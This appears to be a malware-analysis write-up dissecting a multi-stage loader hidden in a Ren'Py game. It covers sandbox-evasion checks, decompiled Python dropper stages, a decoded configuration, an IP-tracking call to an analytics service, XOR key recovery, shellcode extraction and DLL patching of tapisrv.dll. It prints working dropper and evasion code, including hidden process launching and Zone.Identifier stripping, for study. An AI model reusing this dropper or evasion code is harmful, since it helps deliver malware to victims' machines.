(chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46))

Which once simplified gave me :

python
# WlSQZhiLth9vDjrhYU3AVmhjqo84TvJtpgPGMwzn6L9uj9GAobWq124GOkumCkVb import os import subprocess import math import platform class Specs: @staticmethod def check_hard_drive(): if os.name == 'nt': try: command = 'Get-PSDrive C | Select-Object Used,Free' output = subprocess.check_output(['powershell', '-Command', command], shell=True).decode() chunkres = output.split('\n') for chunk in chunkres[3:]: if chunk.strip(): data = chunk.split() used = int(data[0]) free = int(data[1]) total = used + free break except Exception as e: try: command = 'dir C:\\' output = subprocess.check_output(command, shell=True).decode() chunkres = output.split('\n') for chunk in chunkres: if 'bytes free' in chunk.lower(): fg2hitlh_s3 = chunk.strip() free = int(''.join(c for c in fg2hitlh_s3.split()[0] if c.isdigit())) total = free * 2 used = total - free break except: total = 500 * (2**30) free = 250 * (2**30) used = 250 * (2**30) nbbytes = math.ceil(total / (2 ** 30)) nbbytesused = math.ceil(used / (2 ** 30)) nbbytesfree = math.ceil(free / (2 ** 30)) description1 = f"HARD DRIVE has a total storage of {nbbytes} GigaBytes (Used: {nbbytesused} GB, Free: {nbbytesfree} GB)" extra1 = None if nbbytes < 20: score1 = 0 extra1 = 'Very small storage, but possible for basic systems.' elif nbbytes < 50: score1 = 3 extra1 = 'Small but acceptable for basic usage.' elif nbbytes < 120: score1 = 4 extra1 = 'Common size for basic systems.' else: score1 = 5 return score1, description1, extra1 @staticmethod def check_ram_space(): ram = 0 if os.name == 'nt': try: commandram = 'Get-CimInstance Win32_ComputerSystem | Select-Object TotalPhysicalMemory' output = subprocess.check_output(["powershell", "-Command", commandram], shell=True).decode() ram = int(output.split('\n')[3]) / (2 ** 30) except: pass else: try: output = subprocess.check_output(['sysctl', '-n', 'hw.memsize']).decode() ram = int(output) / (2 ** 30) except: try: with open("/proc/meminfo") as f: for key in f: if "MemTotal" in key: ram = int(key.split()[1]) / (2 ** 20) except: pass ram = math.ceil(ram) description2 = f"RAM has a total storage of {ram} GigaBytes." extra2 = None if ram < 2: score2 = 0 extra2 = 'Low RAM but possible for basic systems.' elif ram < 4: score2 = 3 extra2 = 'Sufficient RAM for basic usage.' elif ram < 8: score2 = 4 extra2 = 'Common RAM size for modern systems.' else: score2 = 5 return score2, description2, extra2 @staticmethod def check_cpu_cores(): nbcpuscore = 1 if os.name == 'nt': try: commandprocessnb = 'Get-CimInstance Win32_Processor | Select-Object NumberOfLogicalProcessors' output = subprocess.check_output(['powershell', '-Command', commandprocessnb], shell=True).decode() nbcpuscore = int(output.split('\n')[3]) except: pass else: try: nbcpuscore = len(os.sched_getaffinity(0)) except: try: nbcpuscore = os.cpu_count() except: pass description3 = f"CPU has a total of {nbcpuscore} logical cores." extra3 = None if nbcpuscore < 2: score3 = 0 extra3 = 'Single core but possible for basic systems.' elif nbcpuscore < 4: score3 = 3 extra3 = 'Dual core, common for basic systems.' elif nbcpuscore < 6: score3 = 4 extra3 = 'Quad core, typical for modern systems.' else: score3 = 5 return score3, description3, extra3 _MODELS = ['virtualbox', 'vmware', 'kvm', 'virtual machine', 'qemu', 'xen', 'hyperv', 'hyper-v', 'parallels', 'virtual platform', 'vm platform', 'vsphere', 'proxmox', 'citrix', 'oracle vm', 'bochs', 'virtual pc', 'cloud pc', 'shadow pc', 'amazon ec2', 'google compute engine', 'azure virtual machine', 'bhyve', 'virtual desktop', 'sandbox'] @staticmethod def check_model(): if os.name == 'nt': modelinfo = None extra5 = None try: commandmodel = 'Get-CimInstance Win32_ComputerSystem | Select-Object Model' output = subprocess.check_output(["powershell", "-Command", commandmodel], shell=True).decode() modelinfo = output.split('\n')[3].strip() if modelinfo.lower() in Specs._MODELS: score5 = 0 extra5 = 'MODEL has been linked to a virtual machine.' else: score5 = 5 except Exception as e: score5 = 5 extra5 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}" description5 = f"MODEL is {modelinfo}." return score5, description5, extra5 else: return 5, 'MODEL is None.', 'This test can only be run on Windows. Considering this test successful.' _MANUFACTURER = ['innotek', 'vmware', 'qemu', 'xen', 'parallels', 'oracle', 'citrix', 'red hat', 'proxmox', 'amazon web services', 'google cloud', 'microsoft azure', 'virtualbox', 'docker', 'nutanix', 'cloud', 'vagrant', 'kubernetes', 'openstack', 'digital ocean', 'linode', 'vultr', 'ibm cloud', 'alibaba cloud', 'huawei cloud', 'tencent cloud'] @staticmethod def check_manufacturer(): if os.name == 'nt': manufacturer = None extra6 = None try: commandmanufacturer = 'Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer' output = subprocess.check_output(["powershell", "-Command", commandmanufacturer], shell=True).decode() manufacturer = output.split('\n')[3].strip() if manufacturer.lower() in Specs._MANUFACTURER: score6 = 0 extra6 = 'MANUFACTURER has been linked to a virtual machine.' else: score6 = 5 except Exception as e: score6 = 5 extra6 = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}" description6 = f"MANUFACTURER is {manufacturer}." return score6, description6, extra6 else: return 5, 'MANUFACTURER is None.', 'This test can only be run on Windows. Considering this test successful.'

Function check_hard_drive() is basically retrieving total disk size of drive, and gives a score of 0 if the disk size is under 20 GB, and 5 if it's bigger than 120GB. Then we got function check_ram_space() it queries total physical memory if this physical memory is under 2GB checks will return 0 else for 8GB or more it will return 5. Function check_cpu_cores() is used to count number of cpus of the machine, less than 2 cpus put the score at 0 but 6 cpus and more let the score at 5. Of course all those functions are not that binary they can give other scores that will be passed to the _normalize function, which finally says if the malware executes or not. However the rest of the functions : check_serial_number(), check_model(), check_manufacturer() are indeed binary, bcs they check at hardcoded values if it matches it's a 0 else it's always a 5. Finally here is what's resume the check for the sandbox, i guess the author didn't use all his functions cause it was too restrictive :

The Execution Gate — What Actually Runs

Sandbox execution flow

Finally, as shown in the diagram above, _check_file_system() is never called by is_sandboxed(), the entire FileSystem class is dead code. Whether this was an oversight or a deliberate choice to keep the detection lightweight, only check_model() and check_manufacturer() actually influence the final score.

Hunting for the Dropper

At this point we know the sandbox check passes, but where is the actual dropper code ? There is no game/script.rpy in the archive, this file is normally run by Ren'Py. Indeed the author compiled it, generated the bytecode cache, then deleted the source before distributing the malware. The cache files (py3analysis.rpyb, screens.rpyb) are standard Ren'Py auxiliary files, nothing suspicious. The malicious code is isolated to a single entry inside data/cache/bytecode-39.rpyb, mixed among 3075 legitimate compiled scripts to make it harder to spot.

Unpacking the Bytecode Cache

The bytecode is compressed using zlib and packed with pickle. I used this tiny Python script to unpack it :

python
import zlib from pickle import loads with open("bytecode-39.rpyb", "rb") as thefile: compressed_data = thefile.read() uncompressed_data = zlib.decompress(compressed_data) version, cache = loads(uncompressed_data) print(f"VERSION : {version}") print(f"CACHE : {cache}") for key, code_bytes in cache.items(): print(key)

This code gave me tons of results so I added a filter to see only malicious code which might call the sandbox we reversed earlier : if b"is_sandboxed" in code_bytes: print(code_bytes)

As we can see on the screen below, we recovered the right bytecode :

Recovered bytecode containing is_sandboxed

Disassembling the Dropper

In order to disassemble the bytecode I downloaded Python 3.9 :

bash
sudo apt install python3.9 python3.9-dev -y

Then I used this code :

python
import marshal, dis with open("suspicious_1.pyc", "rb") as file: data = file.read() code = marshal.loads(data) print(dis.dis(code))

We get the bytecode perfectly decompiled :

  2           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (json)
              6 STORE_NAME               0 (json)

  3           8 LOAD_CONST               0 (0)
             10 LOAD_CONST               1 (None)
             12 IMPORT_NAME              1 (subprocess)
             14 STORE_NAME               1 (subprocess)
...
 10          60 LOAD_CONST               3 (<code object xor_decrypt_file ...>)
             62 LOAD_CONST               4 ('xor_decrypt_file')
             64 MAKE_FUNCTION            0
             66 STORE_NAME               8 (xor_decrypt_file)

 27          68 LOAD_CONST               5 (<code object extract_and_run ...>)
             70 LOAD_CONST               6 ('extract_and_run')
             72 MAKE_FUNCTION            0
             74 STORE_NAME               9 (extract_and_run)

I asked Claude AI to reconstruct the code :

python
import json import subprocess import os import sys import base64 import traceback from threading import Thread def xor_decrypt_file(filename, key): with open(filename, 'rb') as file: ciphertext = file.read() key = key.encode() plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)]) with open(filename[:-10], 'wb') as decrypted_file: decrypted_file.write(plaintext) def extract_and_run(): try: game_dir = config.gamedir meta_path = os.path.join(game_dir, '.key') with open(meta_path, 'r') as f: encoded_data = f.read() decoded_data = base64.b64decode(encoded_data) meta_data = json.loads(decoded_data.decode('utf-8')) archive_name = meta_data.get('filename', '') password = meta_data.get('password', '') exec_file = meta_data.get('exec_file', '') sandbox = meta_data.get('sandbox', False) if sandbox == False: certainty = 0 try: from planner import is_sandboxed certainty = is_sandboxed(logging=False) except Exception as e: certainty = 1 if certainty < 0.5: pass else: exit(0) run_dir = os.path.join(game_dir, '.temp') if not os.path.exists(run_dir): os.makedirs(run_dir) seven_zip = os.path.join(game_dir, 'processor') archive_path = os.path.join(game_dir, archive_name) xor_decrypt_file(archive_path, password) archive_path = archive_path[:-10] extract_cmd = [ seven_zip, 'x', archive_path, f'-p{password}', f'-o{run_dir}', '-y' ] startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW startupinfo.wShowWindow = subprocess.SW_HIDE subprocess.run( extract_cmd, check=True, startupinfo=startupinfo, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) exec_path = os.path.join(run_dir, exec_file) def run_program(): subprocess.Popen([exec_path], cwd=run_dir, startupinfo=startupinfo) Thread(target=run_program).start() except Exception as e: traceback.print_exc()

This is the code of the first-stage dropper. Let's break it down :

  • It reads the configuration from a hidden .key file with base64-encoded JSON data.
  • It launches the sandbox checks, if the weighted score is above 0.5 it exits.
  • It decrypts an encrypted archive (7ByXk3POijf8.Vd) with the password from .key.
  • Finally it extracts the archive and executes the malware.

Stage 2 — Inside the RPA Archive

Now the question is : how do we get this secret .key file to keep exploring this multi-stage malware ?

There is a file called libwin32.rpa and it is an archive for Ren'Py apps. Here you can see the header of the file :

RPA archive header

Those archives work with a position index and an XOR key. The data present at the position indicated in the header is zlib-compressed and serialized with pickle. Also the key is used to calculate the next position index.

I used an online tool to extract the sources from that RPA file : https://grviewer.com/

Here is the code we get :

python
import json import subprocess import os, io, sys import base64, traceback, zipfile, glob, random, string, time from threading import Thread from sys_config import is_sandboxed def xor_decrypt_to_memory(filename, key): with open(filename, 'rb') as file: ciphertext = file.read() key = key.encode() plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)]) return plaintext import requests def call_lnk(lnk): try: response = requests.get(lnk) print(response) except Exception as e: pass def _d(c, m): d = base64.urlsafe_b64decode(''.join(c).encode()) k = m.encode() return ''.join(chr(b ^ k[i % len(k)]) for i, b in enumerate(d)) def elnk(pub='NA', hashid='NA'): m = ''.join(['cL','kY','_','x9']) api = _d(['Czgf','KSxC','Fkwt','GzBx','EUkK','KhJ3','MApe'], m) dom = _d(['Czgf','KSxC','Fkwl','BXc4','HU0A','IAI6','NAEX','ACMG','djYW','Fw=='], m) sid = _d(['Unxa','bG9O','AVJ9'], m) sk = _d(['UHQN','YDsb','CVZ-','Xz9q','SlsB','ew=='], m) ska = _d(['Wy0K','OG5B','XAJ8','Umhu','G1pR','fVJh','PBtc','Untc','Om4c','WFN5','Uz0='], m) ip = requests.get(api).text call_lnk(f"{dom}php?site_id={sid}&sitekey_admin={ska}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}") def extract_and_run(): try: game_dir = config.gamedir escaped_dir = glob.escape(game_dir) matches = glob.glob(os.path.join(escaped_dir, ".*")) meta_path = matches[0] if matches else None with open(meta_path, 'r') as f: encoded_data = f.read() decoded_data = base64.b64decode(encoded_data) secret = '81034149cd6f48c8821340204f92766e'.encode() decrypted = bytes([byte ^ secret[i % len(secret)] for i, byte in enumerate(decoded_data)]) meta_data = json.loads(decrypted.decode('utf-8')) archive_name = meta_data.get('file_nm', '') password = meta_data.get('pasw', '') exec_file = meta_data.get('exc_fl', '') sandbox = meta_data.get('snd_bx', False) pub = meta_data.get('pb_s', 'NA') hashid = meta_data.get('hash', 'NA') if sandbox == False: certainty = 0 try: certainty = is_sandboxed(logging=False) except Exception as e: certainty = 1 if certainty < 0.5: pass else: exit(0) temp_dir = os.environ.get('TEMP', os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Temp')) folder_num = ''.join(random.choices('0123456789', k=5)) folder_uid = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=12)) folder_name = 'tmp-' + folder_num + '-' + folder_uid run_dir = os.path.join(temp_dir, folder_name) if not os.path.exists(run_dir): os.makedirs(run_dir) archive_path = os.path.join(game_dir, archive_name) decrypted_bytes = xor_decrypt_to_memory(archive_path, password) decrypted_file = io.BytesIO(decrypted_bytes) with zipfile.ZipFile(decrypted_file) as zip_ref: pwd = password.encode() if password else None for zip_info in zip_ref.infolist(): with zip_ref.open(zip_info, pwd=pwd) as f: content = f.read() original_name = zip_info.filename out_filename = original_name if original_name.lower().endswith(('.bat', '.cmd')): random_number = random.randint(100000, 999999) content += f'\nREM {random_number}'.encode() f_ext = '.' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(2, 3))) out_filename = os.path.splitext(original_name)[0] + f_ext if original_name == exec_file: exec_file_mapped = out_filename out_path = os.path.join(run_dir, out_filename) with open(out_path, 'wb') as out_file: out_file.write(content) try: with open(out_path + ':Zone.Identifier', 'w') as zf: zf.write('[ZoneTransfer]\r\nZoneId=0\r\n') except Exception: pass exec_path = os.path.join(run_dir, exec_file_mapped) original_ext = os.path.splitext(exec_file)[1].lower() def run_program(): startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW startupinfo.wShowWindow = subprocess.SW_HIDE if original_ext in ['.bat', '.cmd']: time.sleep(2) bat_name = os.path.splitext(exec_file_mapped)[0] + '.bat' subprocess.Popen( ["forfiles.exe", "/p", run_dir, "/m", exec_file_mapped, "/c", f"cmd /c ren @file {bat_name} && call {bat_name}"], cwd=run_dir, creationflags=0x00000008 | 0x00000200, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, close_fds=True ) return 0 elif original_ext == '.msi': cmd = ["msiexec", "/i", exec_path] elif original_ext == '.ps1': cmd = ["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", exec_path] else: cmd = [exec_path] subprocess.Popen( cmd, cwd=run_dir, startupinfo=startupinfo, creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP, close_fds=True ) Thread(target=lambda: elnk(pub, hashid), daemon=True).start() pt = Thread(target=run_program) pt.start() pt.join() except Exception as e: traceback.print_exc() init 1 python: extract_and_run()

I noticed that .key file doesn't appear anymore, however we can see in the code it is looking for any file with the format .*. And we got one file with this format, the .UkJ file, which contains base64 data :

QxNWWlhUa1cORgxEA3oaYFMBYXxdWlQIGjBdEBsURgRLRhIJFkMCbC89RgtuGk8aXUpSbFJcEAoW
N25+W0BsN3BQHlZMVBYVQRdYAmtaGxoCVFBfR1UeEkQEZkEVDBQkZ3AIAwNuVUoOO15QVws8CgAQ
HRFcUUFYFlwbUQEOVwFbCAkDAQBSCVJWUAMNXVoBWlRVCwMBCglRV18KUQRTBwwDB1FRVA0PVVdS
AFVdBgAAUAMBB1FWAFVRXVECUgMACQNTBwJSB1pQBwFUA1tTCw4KAgNSAlFRVVVbVg4AAFAKAAcB
VlcBClYGDl5WDlcKCQJVEUk=

Decoding the Configuration

At the beginning when I opened and tried to decode this file, I couldn't, however the code gives us the XOR key : 81034149cd6f48c8821340204f92766e. That key isn't sent by the C2, which is a significant operational security mistake.

Once decoded I got :

json
{"file_nm":"7ByXk3POijf8.Vd","pasw":"r6ULYpmZ","exc_fl":"QWLlvZRHa.exe","snd_bx":false,"pb_s":"A_A807_asm_h6c3_28","hash":"c68adc99051f012fe9e99bfd87189e1f8f2eb427bee9663dfaee88b223ad0a7dc5d5e12c46c3c3c727c036830f2caa3bd96652172bf535b88b64210d"}

IP Tracking via Clicky Analytics

Now let's simplify the elnk function :

python
def elnk(pub='NA', hashid='NA'): m = 'cLkY_x9' api = 'https://api.ipify.org' dom = 'https://in.getclicky.com/in.' sid = '101506811' sk = '38f9dc0524f52bb7' ska = '8aaa19ea0911cc2198cce177c1da058d' ip = requests.get(api).text call_lnk(f"{dom}php?site_id={sid}&sitekey_admin={ska}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}")

call_lnk simply makes a GET request. Replacing all the parameters we get :

https://in.getclicky.com/in.php?site_id=101506811&sitekey_admin=8aaa19ea0911cc2198cce177c1da058d&type=download&title=file&ip_address=165.16.146.12&href=A_A807_asm_h6c3_28&custom[hash]=c68adc99...

I tried going to this URL but got no interesting response, it is probably just an IP logger to track victims.

Decrypting the Payload Archive

Let's now dig into the archive which contains the actual malware. First, notice the cryptographic mistake of the creator.

Even if we have the password in the decoded config file, if we check the first bytes of the 7ByXk3POijf8.Vd archive :

00000000: 227d 5648 4d70 6d5a 7236 f035 982c 3a7c "}VHMpmZr6.5.,:|

You probably notice already that part of the password is leaked. It is possible to use a known plaintext attack through zip magic bytes and recover the key, indeed XOR is invertible because plaintext ^ key = ciphertext and so plaintext ^ ciphertext = key. Applying it with the zip magic bytes 50 4B 03 04 00 00 00 00 :

python
from pwn import xor xor(bytes.fromhex("227d56484d706d5a"), bytes.fromhex("504b030400000000")) # → r6ULMpmZ

That is very close to the key, we could just brute-force the one incorrect byte M to find the right value Y.

Once I deciphered the archive with a simple XOR and unzipped it, here are the files we got :

cmmbiz.dll        d3dcompiler_47.dll   DuiLib.dll
libssl-3-zm.dll   msvcp140.dll         QWLlvZRHa.exe
system-proc.xml   ucrtbase.dll         util.dll
vcruntime140.dll  zNetUtils.dll        Cmmlib.dll
displaydef.dll    libcrypto-3-zm.dll   msaalib.dll
msvcp_win.dll     reslib.dll           UIBase.dll
vcruntime140_1.dll zCrashReport64.dll  zWinRes.dll

Analyzing the DLL Bundle

The system-proc.xml file contains garbage ASCII data. The most suspicious DLL from the list above is displaydef.dll :

displaydef.dll suspicious entry

We got a lot of garbage text at the beginning of the file, just like system-proc.xml, but different, and at the end we got some binary data. Looks like this garbage text is there to waste analysis time.

It is not a DLL, and I noticed by reversing all the other DLLs that the only one using those files was actually util.dll. Indeed we can find the filename system-proc.xml in util.dll :

util.dll referencing system-proc.xml

The offset off_1805D285 is a pointer to the string of this filename, and everything interesting happens in the class mem_log_file.

DLL Patching via displaydef.dll

IDA failed to decompile this class properly, however we can get some idea reading the code :

util.dll encryption function

This function is encrypting stuff from memory and placing filename system-proc.xml in a big struct. I tried debugging the malware but somehow couldn't get into this function and see what was in the struct. Again that's because IDA didn't decompile all this stuff properly.

So I took the assembly close to this function. Here is some assembly code that seemed interesting, first we got this :

asm
180016c50: 45 33 c9 xor r9d,r9d 180016c53: 44 8b da mov r11d,edx 180016c56: 4c 8b c1 mov r8,rcx 180016c59: 44 39 49 18 cmp DWORD PTR [rcx+0x18],r9d 180016c5d: 76 33 jbe 0x180016c92 180016c5f: 49 8b 00 mov rax,QWORD PTR [r8] 180016c62: 42 8b 14 88 mov edx,DWORD PTR [rax+r9*4] 180016c66: 49 8b 40 20 mov rax,QWORD PTR [r8+0x20] 180016c6a: 8b 48 1c mov ecx,DWORD PTR [rax+0x1c] 180016c6d: 49 03 50 48 add rdx,QWORD PTR [r8+0x48] 180016c71: 74 11 je 0x180016c84 180016c75: 0f b6 c0 movzx eax,al 180016c78: 48 ff c2 inc rdx 180016c7b: 8d 0c 48 lea ecx,[rax+rcx*2] 180016c7e: 8a 02 mov al,BYTE PTR [rdx] 180016c80: 84 c0 test al,al 180016c82: 75 f1 jne 0x180016c75 180016c84: 41 3b cb cmp ecx,r11d 180016c87: 74 0c je 0x180016c95 180016c89: 41 ff c1 inc r9d 180016c8c: 45 3b 48 18 cmp r9d,DWORD PTR [r8+0x18] 180016c90: 72 cd jb 0x180016c5f 180016c92: 33 c0 xor eax,eax 180016c94: c3 ret

This code is an API hash resolver checking if : h=h×2+char=target\sum h = h \times 2 + char = target, with the hash seed located at rax+0x1c and the targets being constant values like d24d, d2a9, d26d, d275, d259 pointing to values in program memory.

I tried breaking in to get the seed but the DLL crashed.

DLL crash during debugging

However with the constant values in IDA we can reconstruct and interpret the meaning. After the definition of this API resolver, some functions that we can guess are called :

constvaluemeaning
d24d0x80000000GENERIC_READ
d2a90x1FILE_SHARE_READ
d26d0x40PAGE_EXECUTE_READWRITE
d2750x38beoffset header in displaydef.dll
d259 / d285"displaydef.dll" / "system-proc.xml"

The call sequence is then something like this :

180016df1: call rax  ; CreateFileW("displaydef.dll", GENERIC_READ, FILE_SHARE_READ, …, OPEN_EXISTING, …)
180016e0a: call rax  ; GetFileSize(hFile, NULL)   -> esi = size
180016e41: call rax  ; ReadFile(hFile, rbx, size, &read, NULL)

Shellcode Injection into tapisrv.dll

Deciphering occurs at offset 0x38BE :

asm
; d275 = 0x38BE mov r8d, dword ptr [rip + 0x4642B] ; r8d = 0x38BE add r8, rbx ; r8 = buffer + 0x38BE mov eax, dword ptr [r8] ; size = *(DWORD*)(buffer+0x38BE) lea rcx, [r8 + 8] ; data = buffer+0x38C6 mov r9d, dword ptr [r8 + 4] ; delta = *(DWORD*)(buffer+0x38C2) lea edx, [rax - 1] shr edx, 2 inc edx ; count = ((size-1)>>2)+1 loc_decode: add dword ptr [rcx], r9d ; *(DWORD*)rcx += delta lea rcx, [rcx + 4] dec edx jne loc_decode

With all this we understand that something is happening at offset 0x38BE of displaydef.dll and indeed if we check, we end up right at the end of the garbage text :

000038a0: 6968 6561 656f 7563 6963 7461 7473 6e74  iheaeoucictatsnt
000038b0: 7469 6f65 696e 6c65 636f 6e65 7163 8420  tioeinleconeqc.
000038c0: 0000 7e40 e858 8f33 7917 eb32 8a1d b023  ..~@.X.3y..2...#
; 0x38be starts at 8420...

The layout after the garbage text is :

[size_of_chunk=0x2084][delta=0x58E8407E][thechunkdata]

Adding delta to every DWORD in thechunkdata gives us "tapisrv.dll" as the first string. Right after, the assembly :

asm
lea rcx, [rdi + 1] ; rcx = "tapisrv.dll" call rbx ; GetModuleHandleA("tapisrv.dll") -> rax = base movsx r14, byte ptr [rdi] ; r14 = 0x0D (signed) add r14, rdi ; r14 = v14 mov ecx, dword ptr [r14 + 4] ; entry = 0x1470 mov r15d, dword ptr [r14 + 8] ; size = 0x1F1E mov edi, dword ptr [rcx + rax + 2Ch] ; BaseOfCode RVA add rdi, rax ; rdi = tapisrv.text call r13 ; VirtualProtect(.text, size, PAGE_EXECUTE_READWRITE, &old) ; -- copy -- mov al, byte ptr [rbx + rcx] ; al = *(source) mov byte ptr [rcx], al ; *(.text + i) = al jne loc_copy call r13 ; VirtualProtect(... restore ...)

As you can see, the malware is using DLL patching : taking decrypted bytes from displaydef.dll and placing them in the .text section of tapisrv.dll. I extracted this shellcode using the following script :

python
import struct blob = bytearray(open("displaydef.dll", "rb").read()) OFF = 0x38BE size = struct.unpack_from("<I", blob, OFF)[0] delta = struct.unpack_from("<I", blob, OFF+4)[0] start = OFF + 8 for i in range(0, size, 4): v = (struct.unpack_from("<I", blob, start+i)[0] + delta) & 0xFFFFFFFF struct.pack_into("<I", blob, start+i, v) tail = bytes(blob[start:start+size]) b = tail[0] # 0x0D v14 = b - 256 if b >= 128 else b entry = struct.unpack_from("<I", tail, v14+4)[0] code_size = struct.unpack_from("<I", tail, v14+8)[0] shellcode = tail[v14+0xC : v14+0xC+code_size] open("shellcode.bin", "wb").write(shellcode)

The IDAT Loader (HijackLoader)

Now that the shellcode is extracted, let's take a look at its functionalities. We got about 40 functions :

Shellcode functions overview

Function sub_1470 is the main one. It handles a struct a4 which has been passed to the shellcode by the replacement function we saw before, and it does things with system-proc.xml. As the code is quite complex I asked AI for help, and here a more comprehensive code :

c
// local variable allocation has failed, the output may be wrong! int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int **v3; // rcx __int64 v4; // rdx int result; // eax __int64 v6; // rdx __int64 v7; // rdx __int64 v8; // rdx __int64 v9; // [rsp+0h] [rbp-178h] __int64 v10; // [rsp+0h] [rbp-178h] __int64 v11; // [rsp+0h] [rbp-178h] int v12; // [rsp+8h] [rbp-170h] int v13; // [rsp+8h] [rbp-170h] __int64 v14; // [rsp+8h] [rbp-170h] __int64 v15; // [rsp+10h] [rbp-168h] int v16; // [rsp+10h] [rbp-168h] __int64 v17; // [rsp+10h] [rbp-168h] __int64 v18; // [rsp+18h] [rbp-160h] __int64 v19; // [rsp+18h] [rbp-160h] int v20; // [rsp+18h] [rbp-160h] unsigned int *v21; // [rsp+30h] [rbp-148h] _QWORD *v22; // [rsp+38h] [rbp-140h] char v23[4]; // [rsp+40h] [rbp-138h] BYREF unsigned int v24; // [rsp+44h] [rbp-134h] BYREF __int64 v25; // [rsp+48h] [rbp-130h] int i; // [rsp+50h] [rbp-128h] unsigned int v27; // [rsp+54h] [rbp-124h] BYREF __int64 v28; // [rsp+58h] [rbp-120h] _BYTE *v29; // [rsp+60h] [rbp-118h] __int64 v30; // [rsp+68h] [rbp-110h] int v31; // [rsp+70h] [rbp-108h] BYREF unsigned int v32; // [rsp+74h] [rbp-104h] _WORD *Basename; // [rsp+78h] [rbp-100h] __int64 (__fastcall *v34)(int, const char **, __int64, __int64); // [rsp+80h] [rbp-F8h] __int64 v35; // [rsp+88h] [rbp-F0h] BYREF __int64 v36; // [rsp+90h] [rbp-E8h] __int64 v37; // [rsp+98h] [rbp-E0h] __int64 LibraryW; // [rsp+A0h] [rbp-D8h] _BYTE *v39; // [rsp+A8h] [rbp-D0h] __int64 (__fastcall *v40)(int, const char **, _QWORD, _BYTE *, _QWORD, unsigned int *); // [rsp+B0h] [rbp-C8h] int *v41; // [rsp+B8h] [rbp-C0h] BYREF __int64 v42; // [rsp+C0h] [rbp-B8h] BYREF unsigned int v43; // [rsp+C8h] [rbp-B0h] unsigned int v44; // [rsp+CCh] [rbp-ACh] int v45; // [rsp+D0h] [rbp-A8h] __int64 v46; // [rsp+D8h] [rbp-A0h] __int64 v47; // [rsp+E0h] [rbp-98h] __int64 v48; // [rsp+E8h] [rbp-90h] __int64 v49; // [rsp+F0h] [rbp-88h] __int64 v50; // [rsp+F8h] [rbp-80h] __int64 v51; // [rsp+100h] [rbp-78h] __int64 v52; // [rsp+108h] [rbp-70h] __int64 v53; // [rsp+110h] [rbp-68h] __int64 v54; // [rsp+118h] [rbp-60h] __int64 v55; // [rsp+120h] [rbp-58h] __int64 v56; // [rsp+128h] [rbp-50h] __int64 v57; // [rsp+130h] [rbp-48h] __int64 v58; // [rsp+138h] [rbp-40h] _BYTE *v59; // [rsp+140h] [rbp-38h] _BYTE *v60; // [rsp+148h] [rbp-30h] unsigned int v61; // [rsp+150h] [rbp-28h] BYREF _BYTE *v62; // [rsp+154h] [rbp-24h] unsigned int v63; // [rsp+15Ch] [rbp-1Ch] __int64 v64; // [rsp+160h] [rbp-18h] unsigned int **v65; // [rsp+180h] [rbp+8h] v65 = v3; v21 = *v3; v25 = WalkThroughLoadedModules(*(__int64 *)&argc, (__int64)argv, (__int64)envp, (*v3)[21]); v28 = WalkThroughLoadedModules(*(__int64 *)&argc, (__int64)argv, v4, v21[78]); v47 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[52], v25, (__int64)v21); v56 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[26], v25, (__int64)v21); v46 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, *v21, v25, (__int64)v21); v52 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[59], v28, (__int64)v21); v49 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[36], v25, (__int64)v21); v55 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[19], v25, (__int64)v21); v51 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[64], v28, (__int64)v21); v48 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[23], v25, (__int64)v21); v53 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[11], v25, (__int64)v21); v34 = (__int64 (__fastcall *)(int, const char **, __int64, __int64))ResolveExportByHash( *(__int64 *)&argc, (__int64)argv, v21[39], v25, (__int64)v21); v54 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[1], v25, (__int64)v21); v64 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[25], v25, (__int64)v21); v50 = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[46], v28, (__int64)v21); v22 = (_QWORD *)v34(argc, argv, 256LL, 64LL); v22[3] = ResolveExportByHash(*(__int64 *)&argc, (__int64)argv, v21[28], v25, (__int64)v21); 